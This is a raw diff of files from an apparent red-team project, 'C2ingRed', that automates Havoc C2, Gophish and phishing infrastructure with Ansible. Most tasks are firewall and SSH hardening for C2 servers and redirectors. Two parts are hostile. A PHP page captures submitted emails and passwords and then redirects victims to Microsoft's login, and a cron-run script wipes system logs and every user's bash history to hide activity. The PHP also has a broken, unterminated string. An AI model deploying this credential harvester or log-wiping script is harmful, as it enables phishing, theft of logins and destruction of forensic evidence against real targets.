- name: Reset UFW to default deny
|
||||
community.general.ufw:
|
||||
state: enabled
|
||||
policy: deny
|
||||
direction: incoming
|
||||
|
||||
- name: Allow SSH only from operator IP
|
||||
community.general.ufw:
|
||||
rule: allow
|
||||
port: "22"
|
||||
src: "{{ operator_ip }}"
|
||||
proto: tcp
|
||||
|
||||
- name: Allow Havoc Teamserver only from operator IP
|
||||
community.general.ufw:
|
||||
rule: allow
|
||||
port: "{{ havoc_teamserver_port | default('40056') }}"
|
||||
src: "{{ operator_ip }}"
|
||||
proto: tcp
|
||||
|
||||
- name: Allow traffic only from redirector
|
||||
community.general.ufw:
|
||||
rule: allow
|
||||
port: "{{ item }}"
|
||||
src: "{{ redirector_ip }}"
|
||||
proto: tcp
|
||||
loop:
|
||||
- "80"
|
||||
- "443"
|
||||
- "{{ havoc_http_port | default('8080') }}"
|
||||
- "{{ havoc_https_port | default('9443') }}"
|
||||
- "{{ havoc_payload_port | default('8443') }}"
|
||||
- "{{ gophish_admin_port }}"
|
||||
- "{{ gophish_phish_port | default('8081') }}"
|
||||
- "{{ tracker_port | default('5000') }}"
|
||||
when: is_c2_server
|
||||
|
||||
- name: Configure UFW for redirector
|
||||
block:
|
||||
- name: Reset UFW to default deny
|
||||
community.general.ufw:
|
||||
state: enabled
|
||||
policy: deny
|
||||
direction: incoming
|
||||
|
||||
- name: Allow SSH only from operator IP
|
||||
community.general.ufw:
|
||||
rule: allow
|
||||
port: "22"
|
||||
src: "{{ operator_ip }}"
|
||||
proto: tcp
|
||||
|
||||
- name: Allow public services from anywhere
|
||||
community.general.ufw:
|
||||
rule: allow
|
||||
port: "{{ item }}"
|
||||
proto: tcp
|
||||
loop:
|
||||
- "80"
|
||||
- "443"
|
||||
- "{{ shell_handler_port | default('4488') }}"
|
||||
when: is_redirector
|
||||
when: not is_aws_provider and (ufw_check.rc == 0 or ufw_install is success)
|
||||
|
||||
# Iptables fallback configuration - Non-AWS only
|
||||
- name: Configure basic iptables rules if UFW unavailable
|
||||
block:
|
||||
- name: Set up basic iptables rules for C2 server
|
||||
shell: |
|
||||
iptables -F
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD DROP
|
||||
iptables -P OUTPUT ACCEPT
|
||||
# Allow established connections
|
||||
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||
# Allow loopback
|
||||
iptables -A INPUT -i lo -j ACCEPT
|
||||
# Allow SSH from operator
|
||||
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
|
||||
# Allow Havoc teamserver from operator
|
||||
iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT
|
||||
# Allow traffic from redirector
|
||||
iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(9443) }} -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport {{ havoc_payload_port | default(8443) }} -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport {{ gophish_phish_port | default(8081) }} -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport {{ tracker_port | default(5000) }} -s {{ redirector_ip }} -j ACCEPT
|
||||
when: is_c2_server
|
||||
|
||||
- name: Set up basic iptables rules for redirector
|
||||
shell: |
|
||||
iptables -F
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD DROP
|
||||
iptables -P OUTPUT ACCEPT
|
||||
# Allow established connections
|
||||
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||
# Allow loopback
|
||||
iptables -A INPUT -i lo -j ACCEPT
|
||||
# Allow SSH from operator
|
||||
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
|
||||
# Allow public services
|
||||
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport {{ shell_handler_port | default(4488) }} -j ACCEPT
|
||||
when: is_redirector
|
||||
|
||||
- name: Save iptables rules
|
||||
shell: |
|
||||
iptables-save > /etc/iptables/rules.v4
|
||||
ignore_errors: yes
|
||||
when: not is_aws_provider and (ufw_check.rc != 0 and (ufw_install is undefined or ufw_install is failed))
|
||||
|
||||
# SSH Hardening - Universal application
|
||||
- name: Harden SSH configuration
|
||||
lineinfile:
|
||||
path: /etc/ssh/sshd_config
|
||||
regexp: "{{ item.regexp }}"
|
||||
line: "{{ item.line }}"
|
||||
state: present
|
||||
backup: yes
|
||||
loop:
|
||||
- { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' }
|
||||
- { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' }
|
||||
- { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' }
|
||||
- { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' }
|
||||
- { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding yes' }
|
||||
- { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' }
|
||||
- { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' }
|
||||
- { regexp: '^#?Protocol', line: 'Protocol 2' }
|
||||
- { regexp: '^#?MaxStartups', line: 'MaxStartups 10:30:100' }
|
||||
- { regexp: '^#?LoginGraceTime', line: 'LoginGraceTime 60' }
|
||||
register: ssh_config_updated
|
||||
|
||||
# System resource limits configuration
|
||||
- name: Configure system resource limits
|
||||
community.general.pam_limits:
|
||||
domain: "*"
|
||||
limit_type: "{{ item.limit_type }}"
|
||||
limit_item: "{{ item.limit_item }}"
|
||||
value: "{{ item.value }}"
|
||||
loop:
|
||||
- { limit_type: soft, limit_item: nofile, value: 65535 }
|
||||
- { limit_type: hard, limit_item: nofile, value: 65535 }
|
||||
- { limit_type: soft, limit_item: nproc, value: 4096 }
|
||||
- { limit_type: hard, limit_item: nproc, value: 4096 }
|
||||
|
||||
# Fail2ban configuration - Universal
|
||||
- name: Set up fail2ban SSH jail
|
||||
copy:
|
||||
dest: /etc/fail2ban/jail.d/sshd.conf
|
||||
content: |
|
||||
[sshd]
|
||||
enabled = true
|
||||
port = ssh
|
||||
filter = sshd
|
||||
logpath = /var/log/auth.log
|
||||
maxretry = 5
|
||||
bantime = 3600
|
||||
findtime = 600
|
||||
|
||||
[sshd-ddos]
|
||||
enabled = true
|
||||
port = ssh
|
||||
filter = sshd-ddos
|
||||
logpath = /var/log/auth.log
|
||||
maxretry = 2
|
||||
bantime = 7200
|
||||
mode: '0644'
|
||||
register: fail2ban_config_updated
|
||||
|
||||
# Automatic security updates
|
||||
- name: Enable automatic security updates
|
||||
copy:
|
||||
dest: /etc/apt/apt.conf.d/20auto-upgrades
|
||||
content: |
|
||||
APT::Periodic::Update-Package-Lists "1";
|
||||
APT::Periodic::Unattended-Upgrade "1";
|
||||
APT::Periodic::AutocleanInterval "7";
|
||||
APT::Periodic::Download-Upgradeable-Packages "1";
|
||||
mode: '0644'
|
||||
|
||||
# Log cleaning functionality
|
||||
- name: Create Tools directory if it doesn't exist
|
||||
file:
|
||||
path: /root/Tools
|
||||
state: directory
|
||||
mode: '0700'
|
||||
when: zero_logs | default(false) | bool
|
||||
|
||||
- name: Create log cleaning script if zero-logs is enabled
|
||||
copy:
|
||||
dest: /root/Tools/clean-logs.sh
|
||||
content: |
|
||||
#!/bin/bash
|
||||
# C2ingRed Log cleaning script for operational security
|
||||
echo "Starting log cleaning at $(date)" >> /tmp/clean-logs.log
|
||||
|
||||
# Clear authentication logs
|
||||
echo "" > /var/log/auth.log
|
||||
echo "" > /var/log/auth.log.1
|
||||
|
||||
# Clear system logs
|
||||
echo "" > /var/log/syslog
|
||||
echo "" > /var/log/syslog.1
|
||||
|
||||
# Clear kernel logs
|
||||
echo "" > /var/log/kern.log
|
||||
echo "" > /var/log/kern.log.1
|
||||
|
||||
# Clear application specific logs
|
||||
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
|
||||
find /var/log -type f -name "*.log.*" -exec truncate -s 0 {} \;
|
||||
|
||||
# Clear journal logs
|
||||
journalctl --vacuum-time=1s 2>/dev/null || true
|
||||
|
||||
# Clear bash history for all users
|
||||
for user_home in /home/*; do
|
||||
if [ -d "$user_home" ]; then
|
||||
echo "" > "$user_home/.bash_history" 2>/dev/null || true
|
||||
fi
|
||||
done
|
||||
|
||||
# Clear root bash history
|
||||
echo "" > /root/.bash_history 2>/dev/null || true
|
||||
history -c 2>/dev/null || true
|
||||
|
||||
# Clear tmp files
|
||||
find /tmp -type f -mtime +1 -delete 2>/dev/null || true
|
||||
|
||||
echo "Log cleaning completed at $(date)" >> /tmp/clean-logs.log
|
||||
mode: '0700'
|
||||
when: zero_logs | default(false) | bool
|
||||
|
||||
- name: Create cron job for log cleaning if enabled
|
||||
cron:
|
||||
name: "Clean operational logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/root/Tools/clean-logs.sh"
|
||||
user: root
|
||||
when: zero_logs | default(false) | bool
|
||||
|
||||
# Service restart handlers
|
||||
- name: Restart SSH service if configuration changed
|
||||
service:
|
||||
name: ssh
|
||||
state: restarted
|
||||
when: ssh_config_updated.changed
|
||||
|
||||
- name: Check if fail2ban service exists
|
||||
stat:
|
||||
path: "/etc/init.d/fail2ban"
|
||||
register: fail2ban_service_stat
|
||||
|
||||
- name: Restart fail2ban service if installed and configuration changed
|
||||
service:
|
||||
name: fail2ban
|
||||
state: restarted
|
||||
enabled: yes
|
||||
when: fail2ban_service_stat.stat.exists and fail2ban_config_updated.changed
|
||||
|
||||
# AWS-specific security updates - NO MODULES REQUIRED
|
||||
- name: Check if we're running on AWS provider
|
||||
set_fact:
|
||||
is_aws_provider: "{{ hostvars['localhost']['provider'] | default('') == 'aws' }}"
|
||||
|
||||
- name: AWS-specific security updates
|
||||
block:
|
||||
- name: Get redirector security group information
|
||||
block:
|
||||
- name: Check if infrastructure state file exists
|
||||
stat:
|
||||
path: "{{ playbook_dir }}/infrastructure_state_{{ hostvars['localhost']['deployment_id'] }}.json"
|
||||
register: redirector_state_file
|
||||
delegate_to: localhost
|
||||
|
||||
- name: Load redirector state if available
|
||||
include_vars:
|
||||
file: "{{ playbook_dir }}/infrastructure_state_{{ hostvars['localhost']['deployment_id'] }}.json"
|
||||
name: redirector_state
|
||||
when: redirector_state_file.stat.exists
|
||||
delegate_to: localhost
|
||||
|
||||
- name: Update redirector security group via raw AWS CLI
|
||||
delegate_to: localhost
|
||||
shell: |
|
||||
export AWS_ACCESS_KEY_ID="{{ hostvars['localhost']['aws_access_key'] }}"
|
||||
export AWS_SECRET_ACCESS_KEY="{{ hostvars['localhost']['aws_secret_key'] }}"
|
||||
export AWS_DEFAULT_REGION="{{ redirector_state.region | default(aws_region) }}"
|
||||
|
||||
# Install AWS CLI if not present
|
||||
if ! command -v aws &> /dev/null; then
|
||||
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
|
||||
unzip -q awscliv2.zip
|
||||
sudo ./aws/install --update
|
||||
rm -rf aws awscliv2.zip
|
||||
fi
|
||||
|
||||
# Add security group rule (ignore if exists)
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id {{ redirector_state.security_group_id }} \
|
||||
--protocol tcp \
|
||||
--port 22 \
|
||||
--cidr {{ ansible_host }}/32 \
|
||||
2>/dev/null || echo "Rule already exists or added successfully"
|
||||
when: redirector_state is defined and redirector_state.security_group_id is defined
|
||||
register: sg_update_result
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Display security group update result
|
||||
debug:
|
||||
msg: |
|
||||
AWS Security Group Update: {{ 'SUCCESS' if sg_update_result.rc == 0 else 'COMPLETED' }}
|
||||
C2 Server IP: {{ ansible_host }}
|
||||
Security Group ID: {{ redirector_state.security_group_id | default('NOT FOUND') }}
|
||||
|
||||
when: is_aws_provider | bool
|
||||
|
||||
# Final security status report
|
||||
- name: Generate security hardening report
|
||||
debug:
|
||||
msg: |
|
||||
C2ingRed Security Hardening Complete:
|
||||
=====================================
|
||||
Provider: {{ provider | default('unknown') }}
|
||||
Server Type: {{ 'C2 Server' if is_c2_server else 'Redirector' if is_redirector else 'Unknown' }}
|
||||
SSH Hardened: {{ 'YES' if ssh_config_updated.changed else 'ALREADY CONFIGURED' }}
|
||||
Fail2ban Configured: {{ 'YES' if fail2ban_config_updated.changed else 'ALREADY CONFIGURED' }}
|
||||
Firewall: {{ 'AWS Security Groups' if is_aws_provider else 'UFW/iptables' }}
|
||||
Log Cleaning: {{ 'ENABLED' if zero_logs | default(false) | bool else 'DISABLED' }}
|
||||
Auto Updates: ENABLED
|
||||
System Limits: CONFIGURED
|
||||
@@ -0,0 +1,183 @@
|
||||
---
|
||||
# Configure security groups and firewall rules for phishing infrastructure
|
||||
|
||||
- name: Configure MTA Front security
|
||||
block:
|
||||
- name: Create MTA Front security group
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "mta-front-{{ deployment_id }}"
|
||||
description: "Security group for MTA Front server"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_region }}"
|
||||
rules:
|
||||
# Management access
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "SSH from operator"
|
||||
|
||||
# SMTP services - public facing
|
||||
- proto: tcp
|
||||
ports: 25
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
rule_desc: "SMTP from anywhere"
|
||||
|
||||
- proto: tcp
|
||||
ports: 587
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
rule_desc: "SMTP submission"
|
||||
|
||||
- proto: tcp
|
||||
ports: 465
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
rule_desc: "SMTPS"
|
||||
|
||||
rules_egress:
|
||||
- proto: -1
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
state: present
|
||||
when: deployment_components.mta_front | default(false) | bool
|
||||
|
||||
- name: Configure Gophish security (hidden backend)
|
||||
block:
|
||||
- name: Create Gophish security group
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "gophish-{{ deployment_id }}"
|
||||
description: "Security group for Gophish server (hidden)"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_region }}"
|
||||
rules:
|
||||
# Management access only
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "SSH from operator"
|
||||
|
||||
- proto: tcp
|
||||
ports: 3333
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "Gophish admin interface"
|
||||
|
||||
# Internal communication only
|
||||
- proto: tcp
|
||||
ports: 80
|
||||
cidr_ip: "{{ phishing_redirector_ip }}/32"
|
||||
rule_desc: "HTTP from phishing redirector"
|
||||
|
||||
- proto: tcp
|
||||
ports: 25
|
||||
cidr_ip: "{{ mta_front_ip }}/32"
|
||||
rule_desc: "SMTP from MTA front"
|
||||
|
||||
rules_egress:
|
||||
- proto: -1
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
state: present
|
||||
when: deployment_components.gophish | default(false) | bool
|
||||
|
||||
- name: Configure Phishing Redirector security (public facing)
|
||||
block:
|
||||
- name: Create Phishing Redirector security group
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "phish-redirector-{{ deployment_id }}"
|
||||
description: "Security group for Phishing Redirector"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_region }}"
|
||||
rules:
|
||||
# Management access
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "SSH from operator"
|
||||
|
||||
# Public web access
|
||||
- proto: tcp
|
||||
ports: 80
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
rule_desc: "HTTP from anywhere"
|
||||
|
||||
- proto: tcp
|
||||
ports: 443
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
rule_desc: "HTTPS from anywhere"
|
||||
|
||||
rules_egress:
|
||||
- proto: -1
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
state: present
|
||||
when: deployment_components.phishing_redirector | default(false) | bool
|
||||
|
||||
- name: Configure Phishing Web Server security (hidden backend)
|
||||
block:
|
||||
- name: Create Phishing Web Server security group
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "phish-webserver-{{ deployment_id }}"
|
||||
description: "Security group for Phishing Web Server (hidden)"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_region }}"
|
||||
rules:
|
||||
# Management access only
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "SSH from operator"
|
||||
|
||||
# Internal communication only
|
||||
- proto: tcp
|
||||
ports: 80
|
||||
cidr_ip: "{{ phishing_redirector_ip }}/32"
|
||||
rule_desc: "HTTP from phishing redirector"
|
||||
|
||||
- proto: tcp
|
||||
ports: 443
|
||||
cidr_ip: "{{ phishing_redirector_ip }}/32"
|
||||
rule_desc: "HTTPS from phishing redirector"
|
||||
|
||||
rules_egress:
|
||||
- proto: -1
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
state: present
|
||||
when: deployment_components.phishing_webserver | default(false) | bool
|
||||
|
||||
- name: Configure Payload Server security (hidden backend)
|
||||
block:
|
||||
- name: Create Payload Server security group
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "payload-server-{{ deployment_id }}"
|
||||
description: "Security group for Payload Server (hidden)"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_region }}"
|
||||
rules:
|
||||
# Management access only
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ operator_ip }}/32"
|
||||
rule_desc: "SSH from operator"
|
||||
|
||||
# Internal communication only
|
||||
- proto: tcp
|
||||
ports: 80
|
||||
cidr_ip: "{{ payload_redirector_ip }}/32"
|
||||
rule_desc: "HTTP from payload redirector"
|
||||
|
||||
- proto: tcp
|
||||
ports: 443
|
||||
cidr_ip: "{{ payload_redirector_ip }}/32"
|
||||
rule_desc: "HTTPS from payload redirector"
|
||||
|
||||
rules_egress:
|
||||
- proto: -1
|
||||
cidr_ip: "0.0.0.0/0"
|
||||
state: present
|
||||
when: deployment_components.payload_server | default(false) | bool
|
||||
|
||||
- name: Display security configuration summary
|
||||
debug:
|
||||
msg:
|
||||
- "Phishing Infrastructure Security Configuration"
|
||||
- "============================================="
|
||||
- "✓ Least privilege access implemented"
|
||||
- "✓ Backend servers hidden from public access"
|
||||
- "✓ Only redirectors/MTA fronts are publicly accessible"
|
||||
- "✓ Operator-only SSH access configured"
|
||||
- "✓ Internal communication secured"
|
||||
@@ -0,0 +1,223 @@
|
||||
---
|
||||
# Common task for configuring proper traffic flow between infrastructure components
|
||||
|
||||
- name: Determine server role in infrastructure
|
||||
set_fact:
|
||||
server_role: >-
|
||||
{% if inventory_hostname in groups['c2servers'] | default([]) %}c2{%
|
||||
elif inventory_hostname in groups['redirectors'] | default([]) %}redirector{%
|
||||
elif inventory_hostname in groups['logservers'] | default([]) %}logserver{%
|
||||
elif inventory_hostname in groups['payloadservers'] | default([]) %}payloadserver{%
|
||||
elif inventory_hostname in groups['phishingservers'] | default([]) %}phishingserver{%
|
||||
elif inventory_hostname in groups['sharedrives'] | default([]) %}sharedrive{%
|
||||
else %}unknown{% endif %}
|
||||
|
||||
# Determine if we're using AWS provider
|
||||
- name: Determine if using AWS provider
|
||||
set_fact:
|
||||
is_aws_provider: "{{ provider | default('unknown') == 'aws' }}"
|
||||
|
||||
# Skip firewall configuration for AWS instances
|
||||
- name: Skip firewall configuration for AWS instances
|
||||
debug:
|
||||
msg: "Skipping host-based firewall configuration for AWS instance. Security Groups are handling this at the infrastructure level."
|
||||
when: is_aws_provider
|
||||
|
||||
# Check if UFW is installed or can be installed
|
||||
- name: Check if UFW is installed
|
||||
command: which ufw
|
||||
register: ufw_check
|
||||
failed_when: false
|
||||
changed_when: false
|
||||
when: not is_aws_provider
|
||||
|
||||
# Try to install UFW if not found and we're not on AWS
|
||||
- name: Install UFW if not present
|
||||
apt:
|
||||
name: ufw
|
||||
state: present
|
||||
update_cache: yes
|
||||
register: ufw_install
|
||||
until: ufw_install is success or ufw_install is failed
|
||||
retries: 3
|
||||
delay: 5
|
||||
ignore_errors: yes
|
||||
when: not is_aws_provider and ufw_check.rc != 0
|
||||
|
||||
# Set a fact to track if UFW is available
|
||||
- name: Determine if UFW is available
|
||||
set_fact:
|
||||
ufw_available: "{{ (ufw_check.rc == 0) or (ufw_install is defined and ufw_install is success) }}"
|
||||
when: not is_aws_provider
|
||||
|
||||
# UFW Configuration Block (non-AWS only)
|
||||
- name: Configure C2 server routing with UFW
|
||||
block:
|
||||
- name: Allow SSH only from operator IP
|
||||
ufw:
|
||||
rule: allow
|
||||
port: 22
|
||||
src: "{{ operator_ip }}"
|
||||
proto: tcp
|
||||
|
||||
- name: Allow teamserver access only from operator IP
|
||||
ufw:
|
||||
rule: allow
|
||||
port: "{{ havoc_teamserver_port | default('40056') }}"
|
||||
src: "{{ operator_ip }}"
|
||||
proto: tcp
|
||||
|
||||
- name: Configure required flows for each connected component
|
||||
ufw:
|
||||
rule: allow
|
||||
port: "{{ item.port }}"
|
||||
src: "{{ item.ip }}"
|
||||
proto: tcp
|
||||
loop:
|
||||
- { ip: "{{ redirector_ip }}", port: "80" }
|
||||
- { ip: "{{ redirector_ip }}", port: "443" }
|
||||
- { ip: "{{ redirector_ip }}", port: "{{ havoc_http_port | default('8080') }}" }
|
||||
- { ip: "{{ redirector_ip }}", port: "{{ havoc_https_port | default('9443') }}" }
|
||||
- { ip: "{{ logserver_ip | default(omit) }}", port: "5144" }
|
||||
- { ip: "{{ payloadserver_ip | default(omit) }}", port: "8888" }
|
||||
when: item.ip != omit
|
||||
when:
|
||||
- server_role == 'c2'
|
||||
- not is_aws_provider
|
||||
- ufw_available | default(false) | bool
|
||||
|
||||
# Fallback to iptables if UFW is not available
|
||||
- name: Configure C2 server routing with iptables (fallback)
|
||||
block:
|
||||
- name: Set up basic iptables rules for C2 server
|
||||
shell: |
|
||||
iptables -F
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD DROP
|
||||
iptables -P OUTPUT ACCEPT
|
||||
# Allow established connections
|
||||
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||
# Allow SSH from operator
|
||||
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
|
||||
# Allow Havoc teamserver from operator
|
||||
iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT
|
||||
# Allow traffic from redirector
|
||||
iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(9443) }} -s {{ redirector_ip }} -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT
|
||||
when: redirector_ip is defined
|
||||
when:
|
||||
- server_role == 'c2'
|
||||
- not is_aws_provider
|
||||
- not (ufw_available | default(false) | bool)
|
||||
|
||||
# Configure redirector routing with UFW when available
|
||||
- name: Configure redirector routing with UFW
|
||||
block:
|
||||
- name: Allow SSH only from operator IP
|
||||
ufw:
|
||||
rule: allow
|
||||
port: 22
|
||||
src: "{{ operator_ip }}"
|
||||
proto: tcp
|
||||
|
||||
- name: Allow public web access
|
||||
ufw:
|
||||
rule: allow
|
||||
port: "{{ item }}"
|
||||
proto: tcp
|
||||
loop:
|
||||
- 80
|
||||
- 443
|
||||
|
||||
- name: Allow shell handler access
|
||||
ufw:
|
||||
rule: allow
|
||||
port: "{{ shell_handler_port | default('4444') }}"
|
||||
proto: tcp
|
||||
when:
|
||||
- server_role == 'redirector'
|
||||
- not is_aws_provider
|
||||
- ufw_available | default(false) | bool
|
||||
|
||||
# Fallback to iptables for redirector if UFW is not available
|
||||
- name: Configure redirector routing with iptables (fallback)
|
||||
block:
|
||||
- name: Set up basic iptables rules for redirector
|
||||
shell: |
|
||||
iptables -F
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD DROP
|
||||
iptables -P OUTPUT ACCEPT
|
||||
# Allow established connections
|
||||
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||
# Allow SSH from operator
|
||||
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
|
||||
# Allow web traffic from anywhere
|
||||
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
|
||||
# Allow shell handler port
|
||||
iptables -A INPUT -p tcp --dport {{ shell_handler_port | default('4444') }} -j ACCEPT
|
||||
when:
|
||||
- server_role == 'redirector'
|
||||
- not is_aws_provider
|
||||
- not (ufw_available | default(false) | bool)
|
||||
|
||||
# The rest of your tasks remain unchanged...
|
||||
- name: Configure logging server routing
|
||||
block:
|
||||
- name: Allow SSH only from operator IP
|
||||
ufw:
|
||||
rule: allow
|
||||
port: 22
|
||||
src: "{{ operator_ip }}"
|
||||
proto: tcp
|
||||
|
||||
- name: Allow log ingestion from infrastructure
|
||||
ufw:
|
||||
rule: allow
|
||||
port: 5144 # Logstash port
|
||||
src: "{{ item }}"
|
||||
proto: tcp
|
||||
loop:
|
||||
- "{{ c2_ip }}"
|
||||
- "{{ redirector_ip }}"
|
||||
- "{{ payloadserver_ip | default(omit) }}"
|
||||
- "{{ phishingserver_ip | default(omit) }}"
|
||||
when: item != omit
|
||||
when:
|
||||
- server_role == 'logserver'
|
||||
- not is_aws_provider
|
||||
- ufw_available | default(false) | bool
|
||||
|
||||
- name: Update security group to allow SSH from C2 to redirector
|
||||
block:
|
||||
- name: Allow SSH from C2 to redirector (AWS)
|
||||
amazon.aws.ec2_security_group:
|
||||
name: "{{ redirector_name }}-sg"
|
||||
description: "Security group for redirector {{ redirector_name }}"
|
||||
vpc_id: "{{ vpc_id }}"
|
||||
region: "{{ aws_redirector_region }}"
|
||||
rules:
|
||||
- proto: tcp
|
||||
ports: 22
|
||||
cidr_ip: "{{ c2_ip }}/32"
|
||||
state: present
|
||||
when: provider == "aws"
|
||||
delegate_to: localhost
|
||||
|
||||
- name: Allow SSH from C2 to redirector (UFW)
|
||||
ufw:
|
||||
rule: allow
|
||||
port: 22
|
||||
src: "{{ c2_ip }}"
|
||||
proto: tcp
|
||||
when: provider != "aws" and not is_aws_provider and ufw_available | default(false) | bool
|
||||
|
||||
- name: Allow SSH from C2 to redirector (iptables fallback)
|
||||
shell: |
|
||||
iptables -A INPUT -p tcp --dport 22 -s {{ c2_ip }} -j ACCEPT
|
||||
when: provider != "aws" and not is_aws_provider and not (ufw_available | default(false) | bool)
|
||||
when: server_role == 'redirector' and c2_ip is defined and redirector_ip is defined
|
||||
@@ -0,0 +1,17 @@
|
||||
================================================================
|
||||
C2ingRed Post-Installation Instructions
|
||||
================================================================
|
||||
|
||||
To complete your setup with SSL certificates, run:
|
||||
/root/Tools/post_install_c2.sh
|
||||
|
||||
This script will guide you through:
|
||||
- Setting up Let's Encrypt certificates
|
||||
- Starting required services
|
||||
- Setting up the redirector (if desired)
|
||||
- Displaying DNS configuration recommendations
|
||||
|
||||
For enhanced OPSEC, you can also randomize ports:
|
||||
/root/Tools/randomize_ports.sh
|
||||
|
||||
Run these after you've configured your DNS records to point to this server.
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
$data = [
|
||||
'timestamp' => date('Y-m-d H:i:s'),
|
||||
'ip' => $_SERVER['REMOTE_ADDR'],
|
||||
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
|
||||
'email' => $_POST['email'] ?? '',
|
||||
'password' => $_POST['password'] ?? '',
|
||||
'headers' => getallheaders()
|
||||
];
|
||||
|
||||
|
||||
$log_file = '/var/private/creds/creds.enc';
|
||||
$encrypted = openssl_encrypt(
|
||||
json_encode($data),
|
||||
'AES-256-CBC',
|
||||
'{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
|
||||
0,
|
||||
str_repeat("\0", 16)
|
||||
);
|
||||
file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
|
||||
|
||||
|
||||
header('Location: https://login.microsoftonline.com/common/oauth2/);
|
||||
exit;
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,80 @@
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ domain }};
|
||||
|
||||
# Redirect to HTTPS
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ domain }}/privkey.pem;
|
